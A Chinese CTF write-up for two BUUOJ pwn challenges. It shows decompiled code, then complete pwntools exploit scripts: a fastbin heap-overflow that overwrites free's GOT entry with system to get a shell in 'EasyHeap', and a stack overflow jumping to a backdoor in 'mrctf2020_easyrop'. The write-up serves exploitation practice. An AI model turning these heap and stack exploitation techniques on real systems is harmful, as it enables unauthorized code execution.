1、EasyHeap分析
checksec:

开了canary和NX,运行以后就是一个典型的堆题目录

功能有创建,编辑,删除,接下来拖进ida看看实现
一来就看到有后门函数:

main:
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int n3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8u);
n3 = atoi(buf);
if ( n3 != 3 )
break;
delete_heap();
}
if ( n3 > 3 )
{
if ( n3 == 4 )
exit(0);
if ( n3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( n3 == 1 )
{
create_heap();
}
else
{
if ( n3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
关键在此:

如果我们能控制magic>4896就可以直通后门,现在的问题是怎么可控制它
magic在哪里?

双击发现它在bss段,注意到create_pwn中的chuck存在heaparray,而heaparray存在bass段
create_heap:
unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
printf("Size of Heap : ");
read(0, buf, 8u);
size = atoi(buf);
*(&heaparray + i) = malloc(size);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(*(&heaparray + i), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
可以申请任意大小的size
edit_heap
unsigned __int64 edit_heap()
{
int n0xA; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4u);
n0xA = atoi(buf);
if ( (unsigned int)n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + n0xA) )
{
printf("Size of Heap : ");
read(0, buf, 8u);
size = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + n0xA), size);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
看似很正常的修改,但是可以利用它把两个相邻堆中的其中一个修改为比之前大的大小进而修改下一个对的头
delete_heap:
unsigned __int64 delete_heap()
{
int n0xA; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4u);
n0xA = atoi(buf);
if ( (unsigned int)n0xA >= 10 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + n0xA) )
{
free(*(&heaparray + n0xA));
*(&heaparray + n0xA) = 0;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
释放之后指针置零,也有检查该堆是否被释放,问题不大
这道题已经给了我们system_plt和system_got,而且没有开启地址随机化,用不着我们去泄露地址,只需要修改free_got为system_plt即可
目前的思路是:
- 创建多个堆块,分配足够的空间。
- 删除一个堆块,使其进入空闲列表。
- 利用堆溢出伪造堆块的
fd和bk指针。 - 通过进一步的溢出修改堆块内容,控制
free_got表的内容。 - 通过修改
free_got表使free调用system函数。 - 删除堆块时,触发
system("/bin/sh")执行,从而获得 shell。
2、Easyheap实操
from pwn import *
context(arch="amd64",log_level="debug")
p=process("easyheap")
#p=remote("",)
def create(size,content):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("Size of Heap :",str(size))
p.sendlineafter("Content of heap:",content)
def edit(index,size,content):
p.sendlineafter("Your choice :",str(2))
p.sendlineafter("Index :",str(index))
p.sendlineafter("Size of Heap : ",str(size))
p.sendlineafter("Content of heap : ",content)
def delete(index):
p.sendlineafter("Your choice :",str(3))
p.sendlineafter("Index :",str(index))
def tiaoshi():
gdb.attach(p)
pause()
create(60,b'aaaa')#0
create(60,b'bbbb')#1
create(60,b'cccc')#2
delete(1)
tiaoshi()
p.interactive()
由于调试的时候没有正确加载符号表,所以我们只好从heaparray的地址往上慢慢找空间


这里有一个size大小是0x7e,所以跟chunk1一样大小应该是0x70,也证明了我们申请的0x60已经可以通过fastbin验证。
接下来我们就在这里伪造chunk溢出到heaparray数组达到控制的目的,首先我们要把free掉的chunk的fd指针改掉
from pwn import *
context(arch="amd64",log_level="debug")
#p=process("easyheap")
p=remote("node5.buuoj.cn",26987)
elf=ELF("./easyheap")
free_got=elf.got['free']
sys_plt=elf.plt['system']
def create(size,content):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("Size of Heap :",str(size))
p.sendlineafter("Content of heap:",content)
def edit(index,size,content):
p.sendlineafter("Your choice :",str(2))
p.sendlineafter("Index :",str(index))
p.sendlineafter("Size of Heap : ",str(size))
p.sendlineafter("Content of heap : ",content)
def delete(index):
p.sendlineafter("Your choice :",str(3))
p.sendlineafter("Index :",str(index))
def tiaoshi():
gdb.attach(p)
pause()
create(0x60,b'aaaa')#0
create(0x60,b'bbbb')#1
create(0x60,b'cccc')#2
delete(1)
#tiaoshi()
addr=0x6020ad
payload=b'a'*0x60+p64(0)+p64(0x71)+p64(addr)
edit(0,0x100,payload)
create(0x60,b'eeee')#3
create(0x60,b'ffff')#4
payload=b'/bin/sh\x00'.ljust(0x23,b'a')+p64(free_got)
edit(3,200,payload)
edit(0,0x8,p64(sys_plt))
delete(3)
p.interactive()

3、mrctf2020_easyrop
checksec:

64位开了NX,运行以后发现有一个输入,但是输啥都是hahaha,跟傻子一样

拖进ida看看:
这道题是有/bin/sh的

main函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
int n2; // [rsp+Ch] [rbp-314h] BYREF
_BYTE v5[784]; // [rsp+10h] [rbp-310h] BYREF
do
{
fflush(stdin);
__isoc99_scanf("%d", &n2);
if ( n2 == 1 )
{
lala(v5);
}
else if ( n2 == 2 )
{
hehe(v5);
}
else if ( n2 )
{
byby(v5);
}
else
{
haha(v5);
}
}
while ( n2 != 7 );
return 0;
}
原来是输入数字选择函数,那就读读不同的选择
选1是lala参数是v5
ssize_t __fastcall lala(void *buf)
{
puts("lalalalalalala");
return read(0, buf, 0x200u);//v5足够大不会溢出
}
选2是hehe
ssize_t __fastcall hehe(void *buf)
{
puts("hehehehehehehe");
return read(0, buf, 0x300u);
}
v5大小是784,而0x300是768不会溢出
如果输入7,那么就会执行byby
ssize_t __fastcall byby(const char *s)
{
size_t v1; // rax
strlen(s);
puts("bybybybybybyby");
v1 = strlen(s);
return read(0, (void *)&s[v1], 0x100u);//这里会在之前的基础上追加256
}
如果我们先hehe再追加就会造成栈溢出跳转到后门,其实是有后门的

地址是:
0x40072A
from pwn import*
context(arch="amd64",log_level="debug")
p=remote("node5.buuoj.cn",29289)
back=0x40072A
p.sendline(str(2))
sleep(1)
payload1=b'a'*0x300
p.send(payload1)
#p.sendlineafter(str(2),payload)
p.sendline(str(7))
sleep(1)//给一点时间打包,太快的话打不通
payload=b'a'*0x12+p64(back)
p.send(payload)
#p.sendlineafter(str(7),payload)
p.interactive()











